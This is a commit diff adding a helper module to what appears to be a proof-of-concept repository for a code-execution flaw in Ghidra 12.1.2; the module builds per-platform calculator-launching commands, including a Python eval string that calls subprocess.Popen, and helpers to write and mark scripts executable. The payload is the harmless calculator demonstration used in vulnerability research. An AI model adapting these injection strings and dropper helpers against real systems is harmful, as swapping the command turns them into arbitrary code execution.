Upload files to "ghidra-12.1.2-rce-ace-calc-poc/pocs"

ghidra-12.1.2-rce-ace-calc-poc/pocs/calc_helper.py

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+#!/usr/bin/env python3
+import os
+import platform
+import shutil
+import subprocess
+from pathlib import Path
+
+
+def write_marker(path: Path, text: str) -> None:
+    path.parent.mkdir(parents=True, exist_ok=True)
+    path.write_text(text + "\n", encoding="utf-8")
+
+
+def calc_command() -> list[str] | None:
+    system = platform.system().lower()
+    if system == "windows":
+        return ["calc.exe"]
+    if system == "darwin":
+        return ["open", "-a", "Calculator"]
+
+    for name in ("xcalc", "gnome-calculator", "kcalc", "qalculate-gtk"):
+        resolved = shutil.which(name)
+        if resolved:
+            return [resolved]
+    return None
+
+
+def calc_shell_command() -> str:
+    system = platform.system().lower()
+    if system == "windows":
+        return "calc.exe"
+    if system == "darwin":
+        return "open -a Calculator"
+    return "xcalc || gnome-calculator || kcalc || qalculate-gtk"
+
+
+def calc_python_eval_expression() -> str:
+    system = platform.system().lower()
+    if system == "windows":
+        args = "['calc.exe']"
+    elif system == "darwin":
+        args = "['open', '-a', 'Calculator']"
+    else:
+        args = "['sh', '-lc', 'xcalc || gnome-calculator || kcalc || qalculate-gtk']"
+    return f"__import__('subprocess').Popen({args})"
+
+
+def launch_calc() -> bool:
+    cmd = calc_command()
+    if cmd is None:
+        return False
+    kwargs = {}
+    if platform.system().lower() == "windows":
+        kwargs["creationflags"] = getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0)
+    subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, **kwargs)
+    return True
+
+
+def shell_script_header() -> str:
+    if platform.system().lower() == "windows":
+        return "@echo off\n"
+    return "#!/bin/sh\n"
+
+
+def make_executable(path: Path) -> None:
+    if platform.system().lower() != "windows":
+        mode = path.stat().st_mode
+        path.chmod(mode | 0o111)